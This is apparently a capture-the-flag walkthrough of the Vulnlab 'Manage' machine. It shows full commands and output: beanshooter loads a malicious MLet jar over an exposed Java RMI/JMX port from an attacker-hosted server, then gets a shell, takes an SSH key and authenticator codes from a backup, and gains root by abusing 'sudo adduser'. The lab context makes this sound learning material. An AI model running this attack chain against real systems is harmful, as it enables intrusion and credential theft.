Manage

Vulnlabs Walk Through




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Nmap scan

```
PORT STATE SERVICE VERSION

2222/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.1.1:34717
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
```

```
PORT STATE SERVICE VERSION
8080/tcp filtered http-proxy

NSE: Script Post-scanning.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Initiating NSE at 14:02
Completed NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Initiating NSE at 14:02
Completed NSE at 14:02
Completed NSE at 14:02
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.30 seconds
```

Port 2222 looks interesting. Looking up java-RMI exploits on google, I found this article.

Java RMI - Payloads All the Things

• This article helps explain further what java RMI is. Java RMI is a way to obtain data from the server and to ask the server to perform specific tasks. If the server is poorly configured, anyone can fetch data and/or perform specific tasks.

 The Java RMI Payloads All the Things also talks about a tool called beanshooter which we can use to gain initial access by hosting an mlet file to obtain remote code execution.

Downloading beanshooter

- GitHub qtc-de/beanshooter: JMX enumeration and attack tool
- Follow the instructions on the GitHub page to install beanshooter.
- Note on the mvn package command as part of the installation:
 - When you run this command, you are building the beanshooter tool into a .jar file which contains all the dependencies needed for the tool to run. The .jar file will be placed in a new directory called target.
- To use the tool, you must be in the target directory, and you must follow the following syntax:
- java -jar beanshooter-4.1.0-jar-with-dependencies.jar (followed by whatever tasks/operations we want to run).

Enumeration

- Looking at the beanshooter documentation, there is an enum operation we can run to enumerate this service further.
- Running this command, we see that the server is vulnerable to uploading mlet files:
 - o java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.66.25 2222

• This command also gave us credentials for the manager user and the admin user on the tomcat application.

Uploading an mlet file

- To upload an mlet file, we would run:
 - java -jar beanshooter-4.1.0-jar-with-dependencies.jar mlet load 10.10.66.25
 2222 tonka http://10.8.4.135:8000
- This command will allow us to call upon various tonka operations from beanshooter.

🖴 java -jar beanshooter-4.1.0-jar-with-dependencies.jar mlet load 10.10.66.25 2222 tonka http://10.8. 4.135:8000 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [+] Starting MBean deployment. Deplyoing MBean: MLet MBean with object name DefaultDomain:type=MLet was successfully deployed. Loading MBean from http://10.8.4.135:8000 Creating HTTP server on: 10.8.4.135:8000 Creating MLetHandler for endpoint: / Creating JarHandler for endpoint: /8e8443465cc84d3ea483a47f4438fc89 Waiting for incoming connections... Incoming request from: 10.10.66.25 Requested resource: / Sending mlet: Class: Archive: 8e8443465cc84d3ea483a47f4438fc89 Object: Codebase: http://10.8.4.135:8000 Incoming request from: 10.10.66.25 Requested resource: /8e8443465cc84d3ea483a47f4438fc89 Sending jar file with md5sum: 5b9168ff0d7e7be16a9e60662274aada

Initial foothold and user flag

- One operation provided by beanshooter is tonka shell. Here, we can gain an initial foothold on the target as the tomcat user.
 - o -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.66.25 2222
- The user flag is in the /opt/tomcat directory.

```
[tomcat@10.10.66.25 /opt/tomcat]$ cat user.txt
VL{
[tomcat@10.10.66.25 /opt/tomcat]$
```

Pivoting to useradmin

• Going into the home directory, we find two other users: karl and useradmin.

```
[tomcat@10.10.66.25 /opt/tomcat]$ cd /home
[tomcat@10.10.66.25 /home]$ ls
karl
useradmin
[tomcat@10.10.66.25 /home]$
```

 In the useradmin directory we find another directory called backups which contains a backup.tar.gz file.

```
[tomcat@10.10.66.25 /home/useradmin/backups]$ ls
backup.tar.gz
[tomcat@10.10.66.25 /home/useradmin/backups]$
```

- We can't unzip the tar file with the current shell, but we can use the tonka download
 operations to download the tar file to our host machine which can allow us to see
 what is inside the file.
 - o java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka download 10.10.66.25 2222 /home/useradmin/backups/backup.tar.gz

```
(kali@kali)-[~/.../vulnlab/Manage/beanshooter/target]
$ tar -xvf backup.tar.gz
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
1./.cache/motd.legal-displayed
./.bash_history
```

That authorized_keys file looks interesting as well as the ,google_authenticator file.

• Going into the .ssh directory and opening the authorized_keys file and the id_ed25519 file we see that we have the private ssh key for the useradmin user.

 Remember port 22 was open on the nmap scan, which means that we can access ssh. When trying to ssh into the server as useradmin with the private key we get prompted for a verification code.

```
-(kali@kali)-[~/.../Manage/beanshooter/target/.ssh]
$\ssh -i id_ed25519 useradmin@10.10.66.25
The authenticity of host '10.10.66.25 (10.10.66.25)' can't be established.
ED25519 key fingerprint is SHA256:mTJofQVp4T/1u01CFsfPt8SADZfjbzIIynR0Zeqi0qo.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:15: [hashed name]
    ~/.ssh/known_hosts:16: [hashed name]
    ~/.ssh/known hosts:17: [hashed name]
    ~/.ssh/known_hosts:18: [hashed name]
    ~/.ssh/known_hosts:19: [hashed name]
    ~/.ssh/known hosts:20: [hashed name]
    ~/.ssh/known_hosts:21: [hashed name]
    ~/.ssh/known_hosts:22: [hashed name]
    (4 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 10.10.66.25 (ED25519) to the list of known hosts.
(useradmin@10.10.66.25) Verification code:
```

 Recall that when we opened the backup file there was a .google_authenticator hidden file. This file contains TOTP-based verification codes that we can use to log in.

```
-(kali®kali)-[~/.../vulnlab/Manage/beanshooter/target]
s cat .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP AUTH
99852083
20312647
73235136
                     Verification codes
92971994
86175591
98991823
54032641
69267218
76839253
```

 Entering one of the following verification codes gives us a shell as the useradmin user.

```
- Last login: Fri Jun 21 16:48:53 2024 from 192.168.94.139
« useradmin@manage:~$ whoami
| useradmin
| useradmin@manage:~$
```

 Running sudo -I to show the list of commands we can execute with sudo as the admin user, we can only run sudo adduser from the /usr/sbin directory.

```
useradmin@manage:~$ whoami
useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin,
    use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
useradmin@manage:~$
```

 When running sudo adduser newuser, we get prompted for a password. Remember the admin password we found when running the enum command at the beginning? It turns out that here.

- Again, we get prompted for a verification code. We can use one of the following codes from the .google_authenticator file.
- After creating a new user (newuser) via sudo adduser, I logged in as the newuser and tried running sudo -I.
- Here I got stuck with an error saying user newuser may not run sudo on manage.

```
Other []:
Is the information correct? [Y/n] y
useradmin@manage:/usr/sbin$ su newuser
Password:
newuser@manage:/usr/sbin$ sudo -l
[sudo] password for newuser:
Sorry, user newuser may not run sudo on manage.
newuser@manage:/usr/sbin$
```

Root

• To learn more about the adduser command, I opened the manual page. Below is a key detail about user creation from the manual.

By default, each user in Debian GNU/Linux is given a corresponding group with the same name. Usergroups allow group writable directories to be easily maintained by placing the appropriate users in the new group, setting the set-group-ID bit in the directory, and ensuring that all users use a umask of 002. If this option is turned off by setting USER-GROUPS to no, all users' GIDs are set to USERS_GID. Users' primary groups can also be overridden from the command line with the --gid or --ingroup options to set the group by id or name, respectively. Also, users can be added to one or more groups defined in adduser.conf either by setting ADD_EXTRA_GROUPS to 1 in adduser.conf, or by passing --add_extra_groups on the commandline.

- The sudo adduser command creates a user AND a corresponding group name.
- If we create an admin user via sudo adduser admin, we also create an admin group. The admin group defaults to elevated privileges.
- Switching to the admin user grants access to all sudo commands.
- Running sudo su grants us root privileges, elevating our access.
- We can now go into the root directory and open the root.txt file to view the flag.

```
useradmin@manage:/usr/sbin$ su admin
Password:
admin@manage:/usr/sbin$ sudo -l
Matching Defaults entries for admin on manage:
   env_reset, timestamp_timeout=1440, mail_badpass,
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin,
   use_pty
User admin may run the following commands on manage:
   (ALL) ALL
admin@manage:/usr/sbin$ sudo su
root@manage:/usr/sbin# cd ../../
root∂manage:/# ls
     dev home lib32 libx32
                                  media opt
bin
                                               root sbin srv
                                                                     var
boot etc lib lib64 lost+found mnt
                                         proc run
root@manage:/# cat root/root.txt
VL{
rooτomanage:/#
```

Remediation

• If this was an actual engagement, I would require a username and password to interact with the jmxrmi service.